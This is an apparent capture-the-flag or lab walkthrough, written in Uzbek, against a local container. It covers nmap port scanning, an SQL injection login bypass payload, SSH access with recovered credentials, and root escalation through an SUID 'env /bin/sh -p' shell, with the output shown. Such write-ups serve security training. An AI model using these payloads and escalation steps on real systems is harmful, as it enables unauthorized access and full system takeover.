IP: 172.17.0.2

Ip malum endi ipni brauzerga yozib ko’ramiz.

IP da sayt ishlamoqda endi ipda yana qancha portlar borligini to’liq tekshirib ko’ramiz.

22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 72:1f:e1:92:70:3f:21:a2:0a:c6:a6:0e:b8:a2:aa:d5 (ECDSA)
|_  256 8f:3a:cd:fc:03:26:ad:49:4a:6c:a1:89:39:f9:7c:22 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: CE:78:A3:63:59:CA (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=9/26%OT=22%CT=1%CU=42639%PV=Y%DS=1%DC=D%G=Y%M=CE78A3%T
OS:M=6AB7F16A%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10C%TI=Z%CI=Z%II=I
OS:%TS=20)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=103%GCD=1%IS
OS:R=10D%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=22
OS:)SEQ(SP=FE%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M5B4ST11NWA%O2=M5B4
OS:ST11NWA%O3=M5B4NNT11NWA%O4=M5B4ST11NWA%O5=M5B4ST11NWA%O6=M5B4ST11)WIN(W1
OS:=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O
OS:=M5B4NNSNWA%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=
OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Endi sql injection zaifligi bor yoki yo’qligini tekshiramiz.

SQL Injection zaiflik bor ekan.

 'OR JSON_CONTAINS('[1, 2, 3]', '1')#

User: baluton Password: balulerobalulon

Bu SSH ning login paroli bo’lsa kerak, tekshirib ko’ramiz.

Ha, bu SSH niki ekan, endi rootga o’tishni boshlaymiz.

Root ga o’tishda SUID (Set uid) qo’yilgan buyruqlarni qidirib ko’rdim va ular orasida env ham bor ekan va env dan foydalanib root ga o’tdim. Root ga o’tishda https://gtfobins.org/gtfobins/env/#shell shu saytdan foydalandim.

baluton@a00dffbe839f:/home$ find / -perm -4000 2>/dev/null 
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/env
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/mount
baluton@a00dffbe839f:/home$ env /bin/sh -p 
# id
uid=1000(baluton) gid=1000(baluton) euid=0(root) groups=1000(baluton)
# whoami
root
# Torabek